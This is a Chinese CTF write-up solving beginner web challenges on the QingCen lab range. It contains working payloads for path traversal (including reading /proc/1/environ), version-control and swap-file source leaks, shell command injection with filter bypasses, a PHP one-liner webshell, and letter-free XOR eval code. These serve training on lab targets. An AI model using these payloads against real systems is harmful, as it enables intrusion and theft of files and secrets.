数组绕过错误\n直接找MD5值相同的咯 a=d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70\nb=d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70\n这里值太长了 记得复制完整哟-。-\n这是一组值不同 但是MD5值相同的字符串 将这两个二进制串通过 URL 编码后作为 GET 参数 a 和 b 传递，成功绕过了 === 严格比较，获取到 flag\nEZINFOLEAK EZINFOLEAK 访问靶场 依次点开日志查看信息 发现base64编码\nsecret_file_b64=Zmw0Zy50eHQ=\n解码后为 secret_file_b64=fl4g.txt\n路径穿越获得flag ../../../fl4g.txt\nEZINFOLEAK_1 访问靶机 和上一题一样 发现base64编码\nsecret_file_b64=Zmw0Zy50eHQ=\n解码后为 secret_file_b64=fl4g.txt\n路径穿越 ../../../fl4g.txt 但是没有flag回显 发现过滤了../ 利用双写绕过 \u0026hellip;.//\u0026hellip;.//\u0026hellip;.//fl4g.txt EZINFOLEAK_2 访问靶机 没发现有用信息 怀疑flag在环境变量中 环境变量存储敏感信息：Docker容器常将Flag存放在环境变量中\n/proc/1/environ：存储PID=1进程的环境变量\n利用路径穿越 /../../../../../../proc/1/environ EZINFOLEAK_3 访问靶机 尝试常见PHP诊断路径 phpinfo.php\n在页面搜索flag\nEZINFOLEAK_4 访问靶场 是一个烟花发射器页面，没有可用信息\n用dirsearch扫描一下\n发现是.git源码泄露 用GitHack还原源码\n获得flag EZINFOLEAK_5 还是放烟花 用dirsearch扫描一下\n感觉还是.git源码泄露\n用GitHack还原源码\n发现HKBRLMlv.php 用POST请求就可以获得flag EZINFOLEAK_6 依旧放烟花 没信息用dirsearch扫描一下\n发现是.git源码泄露\n由于GitHack只能还原最新版本\n所以用脚本自动还原所有版本\n脚本 获得flag EZINFOLEAK_7 访问靶场\n既然是信息泄露，应该不是sql注入的做法\n没有信息，使用dirsearch扫描一下\n/.svn/entries: 这是老版本 SVN 的特征文件，证明存在泄露。\n存在.svn泄露\n下载wc.db文件，这是一个SQLite数据库\n使用 SQLite Viewer 在线打开 wc.db\n查看 NODES 表，找到文件名和 checksum\nSVN pristine 文件路径格式:\n/.svn/pristine/[前2位]/[完整sha1].svn-base\n访问flag.php文件\nEZINFOLEAK_8 访问靶机\n没什么有用信息，用dirsearch扫描\n发现.hg信息泄露 Mercurial 是分布式版本控制系统，类似于 Git。当 .hg 目录被意外暴露在 Web 服务器上时，攻击者可以获取源代码。\n使用dvcs-ripper 获得flag\nEZINFOLEAK_9 访问靶机\n查看注释\n当使用 vim 编辑文件时，会创建 .filename.swp 交换文件用于崩溃恢复。如果服务器上的交换文件未被删除且可访问，攻击者可以恢复文件内容。 直接访问\nEZINFOLEAK_10 访问靶机\n查看注释\n虽然 flag.txt 已被删除（访问返回 \u0026ldquo;flag.txt has been deleted\u0026rdquo;），但 vim 的交换文件 .flag.txt.swp 仍然存在于服务器上，包含了被删除文件的原始内容。\n输入http://docker.qingcen.net:42128/.flag.txt.swp 下载flag.txt.swp文件\n利用strings .flag.txt.swp 提取内容\nEZINFOLEAK_11 访问靶机\n当前平台仅支持通过 macOS Finder 进行文件上传\n.DS_Store 是 macOS 系统自动生成的隐藏文件，用于存储文件夹的显示选项和元数据。当用户使用 macOS Finder 上传文件到服务器时，.DS_Store 文件可能被一起上传，导致目录结构泄露\n直接访问\nEZINFOLEAK_12 EZCMD EZCMD 访问靶机 分析条件\nescapeshellcmd() 的局限性:\n该函数用于转义shell元字符，防止命令注入 但它不阻止执行单个命令 只转义 ; | \u0026amp; $ ( ) \u0026lt; \u0026gt; 等特殊字符 不影响ls，cat等命令\n查看根目录\ncmd=ls ../ cmd=ls ../../ cmd=ls ../../../ cmd=cat ../../../flag EZCMD_1 访问靶机\n分析条件\n用户输入 $cmd 直接拼接到 system() 函数中\n可以通过命令分隔符注入任意命令\ncmd=; ls /\ncmd=; cat /flag\nEZCMD_2 访问靶机\n分析条件\nsystem($cmd.\u0026rdquo; \u0026gt;/dev/null 2\u0026gt;\u0026amp;1\u0026quot;) 用户输入在前，输出被重定向\n可以利用注释符#绕过\ncmd=cat /flag #\nEZCMD_3 访问靶机\n分析条件\n禁止空格字符\n输出重定向到 /dev/null\n%09 URL编码的Tab，Shell解析为分隔符\n%0a URL编码的换行，使命令独立于重定向\ncmd=cat%09/flag%0a\nEZCMD_4 访问靶机\n页面名为robot 我们访问robots.txt\n访问4atP5Aup.php\n分析条件，看看过滤了哪些命令\nescapeshellcmd()会转义shell命令中的特殊字符，防止命令注入\n我们需要读取flag文件\ncmd=cat /flag-\u0026gt;cmd=dd if=/flag-\u0026gt;cmd=a=fl;b=ag;dd if=/$a$b-\u0026gt;cmd=eval a=fl;b=ag;dd if=/$a$b\nEZCMD_5 访问靶机\n分析条件\n把所有的字母全部过滤，典型的无字母命令执行\n/???/?? 匹配 /bin/ca (为什么不直接用cat呢，直接用???匹配不到cat,通配符 ? 不会像命令名那样自动搜索 PATH，必须指定完整路径！)\n$\u0026rsquo;\\164\u0026rsquo; 是字母 t 的八进制表示（ASCII码116）\n/????.??? 匹配 /flag.txt\n最终执行： /bin/cat /flag.txt\nEZCMD_6 访问靶机\n分析条件\n典型的一句话木马\nqc=system(\u0026rsquo;ls /\u0026rsquo;);\nqc=system(\u0026lsquo;cat /flag\u0026rsquo;);\nEZCMD_7 访问靶机\n分析条件\neval(\u0026rsquo;$qc\u0026rsquo;) 将字符串转换为PHP代码执行\n仅过滤flag 没有过滤ls\n发现flag的路径 /flag\n利用chr() 函数拼接字符串\necho file_get_contents(\u0026rsquo;/flag\u0026rsquo;); 读取并输出\nEZCMD_8 访问靶机\n分析条件\n过滤了system() 和 flag\n利用shell_exec() 代替 system()\n利用strrev()反转字符串绕过flag\n?qc=echo shell_exec(\u0026rsquo;ls /\u0026rsquo;);\n发现路径\n?qc=readfile(strrev(\u0026lsquo;galf/\u0026rsquo;));\nEZCMD_9 访问靶场\n分析条件\n禁用空格和system()\nscandir(目录路径) 列出目录中的所有文件和文件夹，返回数组 搭配print_r() 打印数组\n?qc=print_r(scandir(\u0026rsquo;/\u0026rsquo;));\n发现flag的路径 /flag\n?qc=readfile(\u0026rsquo;/flag\u0026rsquo;); 不含过滤字符\nEZCMD_10 访问靶机\n分析条件\n仅过滤 ; 利用?\u0026gt;绕过 payload ?qc=echo file_get_contents(\u0026rsquo;/flag.txt\u0026rsquo;)?\u0026gt;\nEZCMD_11 访问靶机\n分析条件\nqc 参数会进入 eval($qc),只过滤了分号 ; flag 在 flag.php 里\n直接构造highlight_file(\u0026lsquo;flag.php\u0026rsquo;)?\u0026gt; 读取flag即可\nEZCMD_12 访问靶机\n分析条件\n可以看出这题本质是 eval() 代码执行，只是做了一层黑名单过滤.\n被过滤的字符很多，尤其关键的是：\n1 \u0026#39; \u0026#34; ? \u0026lt; \u0026gt; . $ { } : \\ ~ ^ @ * - + = [ ] , 这意味着：不能直接写 flag.php，因为 . 被过滤。不能方便地写字符串、数组下标、拼接这些常规做法。但函数名、括号、分号、下划线都还能用，所以可以继续走纯 PHP 利用.\n先用目录函数确认当前目录文件:\n1 print_r(scandir(getcwd()));\\ 目标是不直接写出 flag.php，而是从 scandir() 返回结果里间接取出它.\n构造：\n1 next(array_reverse(scandir(getcwd()))) 原因是:\nscandir(getcwd()) 返回 [\u0026rsquo;.\u0026rsquo; , \u0026lsquo;..\u0026rsquo; , \u0026lsquo;flag.php\u0026rsquo; , \u0026lsquo;index.php\u0026rsquo;] array_reverse() 后变成 [\u0026lsquo;index.php\u0026rsquo; , \u0026lsquo;flag.php\u0026rsquo;, \u0026lsquo;..\u0026rsquo; , \u0026lsquo;.\u0026rsquo;] next() 取第二个元素，正好就是 flag.php 虽然 next() 正常要求传引用变量，但这里 error_reporting(0) 把 warning 压掉了，实际仍然能拿到值.\n最终payload:\n1 show_source(next(array_reverse(scandir(getcwd())))); EZCMD_13 访问靶机\n分析条件\npreg_replace() 使用了 /e 修饰符,在 PHP 5.x 里，/e 会把替换内容当成 PHP 代码执行,利用思路是让 \\1 替换成我们可控的内容，再借助双引号里的 ${\u0026hellip;} 字符串插值触发函数执行\n1 ?re=.*\u0026amp;str=${phpinfo()} 可以成功弹出 phpinfo()，说明利用成立\n接着尝试命令执行 PHP 5.6 的特性：未定义常量会被当成字符串.\n1 ?re=.*\u0026amp;str=${system(ls)} 回显当前目录只有index.php 说明flag不在当前目录,继续列根目录\n1 ?re=.*\u0026amp;str=${system(chr(108).chr(115).chr(32).chr(47))} 也就是 ls / 回显里可以看到flag 说明flag在flag文件中 最后读出flag\n1 ?re=.*\u0026amp;str=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))} 等价执行了 cat /flag\nEZCMD_14 访问首页 直接把源码高亮了出来\n1 2 3 4 5 6 7 8 9 10 11 \u0026lt;?php error_reporting(0); if(isset($_GET[\u0026#39;qc\u0026#39;])){ $qc = $_GET[\u0026#39;qc\u0026#39;]; if(!preg_match(\u0026#34;/[a-zA-Z0-9]/\u0026#34;, $qc)){ eval($qc); } }else{ highlight_file(__FILE__); } ?\u0026gt; qc 参数里只要没有字母和数字，就会被 eval() 执行。也就是说，过滤规则只拦了 [a-zA-Z0-9]，但没有拦住 PHP 里的其他语法能力。\nPHP 支持字符串按位异或，因此可以只用符号拼出字母。比如：\n1 \u0026#34;!\u0026#34; ^ \u0026#34;@\u0026#34; 结果就是 \u0026ldquo;a\u0026rdquo;，因为 33 ^ 64 = 97。同理还能继续构造别的字符，例如：\n1 2 3 4 5 \u0026#34;#\u0026#34; ^ \u0026#34;@\u0026#34;; // c \u0026#34;(\u0026#34; ^ \u0026#34;\\\\\u0026#34;; // t \u0026#34;\u0026amp;\u0026#34; ^ \u0026#34;@\u0026#34;; // f \u0026#34;,\u0026#34; ^ \u0026#34;@\u0026#34;; // l \u0026#34;\u0026#39;\u0026#34; ^ \u0026#34;@\u0026#34;; // g 这样就能在完全不出现字母数字的情况下，拼出函数名和命令字符串。另外，变量名里的下划线 _ 不在过滤范围内，所以可以直接用 $_、$__ 这类变量名 最终payload\n1 2 3 $_=(\u0026#34;(\u0026#34;^\u0026#34;[\u0026#34;).(\u0026#34;\\\u0026#34;\u0026#34;^\u0026#34;[\u0026#34;).(\u0026#34;(\u0026#34;^\u0026#34;[\u0026#34;).(\u0026#34;(\u0026#34;^\u0026#34;\\\\\u0026#34;).(\u0026#34;%\u0026#34;^\u0026#34;@\u0026#34;).(\u0026#34;-\u0026#34;^\u0026#34;@\u0026#34;); $__=(\u0026#34;#\u0026#34;^\u0026#34;@\u0026#34;).(\u0026#34;!\u0026#34;^\u0026#34;@\u0026#34;).(\u0026#34;(\u0026#34;^\u0026#34;\\\\\u0026#34;).\u0026#34; \u0026#34;.\u0026#34;/\u0026#34;.(\u0026#34;\u0026amp;\u0026#34;^\u0026#34;@\u0026#34;).(\u0026#34;,\u0026#34;^\u0026#34;@\u0026#34;).(\u0026#34;!\u0026#34;^\u0026#34;@\u0026#34;).(\u0026#34;\u0026#39;\u0026#34;^\u0026#34;@\u0026#34;); $_($__); 第一行拼出的是 system，第二行拼出的是 cat /flag，第三行相当于：system(\u0026ldquo;cat /flag\u0026rdquo;);\n把它放进 qc 参数并做 URL 编码后发送即可\nEZCMD_15 访问首页 源码展示\n1 2 3 4 5 6 7 8 9 \u0026lt;?php error_reporting(0); highlight_file(__FILE__); if (isset($_GET[\u0026#39;qc\u0026#39;])) { exec($_GET[\u0026#39;qc\u0026#39;]); } ?\u0026gt; 看到这里基本就已经确定思路了。程序会先用 highlight_file(FILE) 把当前文件源码输出出来，然后判断是否存在 qc 参数；如果存在，就直接把 $_GET[\u0026lsquo;qc\u0026rsquo;] 送进 exec() 执行。整个过程没有任何过滤，也没有白名单限制\n不过这里有一个小细节需要注意：exec() 和 system() 不一样，它默认不会把命令执行结果直接回显到页面上，所以即使命令成功执行，页面看起来也还是源码。这种情况下，最简单的办法就是把命令输出重定向到 Web 目录下的文件里，再通过浏览器访问这个文件读取结果\n首先可以用一条简单命令验证是否真的能够执行系统命令，例如：\n1 http://docker.qingcen.net:30911/?qc=id\u0026gt;/var/www/html/1.txt 这里的意思是执行 id，然后把输出写入 /var/www/html/1.txt。接着访问：http://docker.qingcen.net:30911/1.txt\n这说明命令执行已经成功，并且当前 Web 服务权限为 www-data,接下来就是读取 flag。常见情况下 flag 会放在根目录 /flag，所以直接执行：\n1 http://docker.qingcen.net:30911/?qc=cat%20/flag\u0026gt;/var/www/html/f1.txt 这里的 %20 是空格的 URL 编码。命令会把 /flag 的内容写入 /var/www/html/f1.txt。然后访问： EZCMD_16 访问首页 源码展示\n1 2 3 4 5 6 7 8 9 \u0026lt;?php error_reporting(0); highlight_file(__FILE__); if (isset($_GET[\u0026#39;qc\u0026#39;])) { create_function(\u0026#39;\u0026#39;, \u0026#39;return \u0026#39; . $_GET[\u0026#39;qc\u0026#39;] . \u0026#39;;\u0026#39;); } ?\u0026gt; 第一眼看上去像是只是“创建了一个匿名函数”，似乎没有调用它。但这里真正危险的点在于 create_function()。它在 PHP 7.4 中虽然已经废弃，但本质上仍然会把传入的代码字符串丢进 eval() 里处理，所以这里其实是一个代码注入点\n程序拼接出来的代码逻辑相当于\n1 create_function(\u0026#39;\u0026#39;, \u0026#39;return \u0026#39; . $qc . \u0026#39;;\u0026#39;); 如果我们传入正常内容，比如：qc=1 这当然没问题。但如果我们传入：\n1 1;}system(\u0026#39;id\u0026#39;);// 拼接后就会变成：\n1 return 1;}system(\u0026#39;id\u0026#39;);//; 这样一来，} 先把匿名函数体提前闭合，后面的 system(\u0026lsquo;id\u0026rsquo;); 就跳到了函数外部，在 eval() 解析阶段直接执行，最后再用 // 注释掉后面原本多出来的 ; 和结束部分。也就是说，虽然程序没有显式调用匿名函数，我们仍然可以通过闭合函数体的方式把恶意代码插进去并立刻执行\n先用下面这个 payload 验证命令执行\n1 http://docker.qingcen.net:37491/?qc=1;}system(\u0026#39;id\u0026#39;);// URL 编码后实际访问的是：\n1 http://docker.qingcen.net:37491/?qc=1%3B%7Dsystem(\u0026#39;id\u0026#39;)%3B%2F%2F 回显中可以直接看到uid=33(www-data) gid=33(www-data) groups=33(www-data),说明代码执行已经成功。接下来直接读取 flag。常见路径先尝试 /flag\npayload\n1 2 3 http://docker.qingcen.net:37491/?qc=1;}system(\u0026#39;cat /flag\u0026#39;);// 对应URL编码后 http://docker.qingcen.net:37491/?qc=1%3B%7Dsystem(\u0026#39;cat%20/flag\u0026#39;)%3B%2F%2F 成功获得flag\nOK看到这里,此章就到此结束了,我们下一篇再见,各位佬。\n","date":"2026-04-07T08:52:16+08:00","image":"https://blog.xxchenchen.top/img/qingcenctf-cover.svg","permalink":"https://blog.xxchenchen.top/p/qingcen%E9%9D%B6%E5%9C%BAweb%E5%85%A5%E9%97%A8wp-%E4%B8%8A/","title":"QingCen靶场Web入门wp-上"}]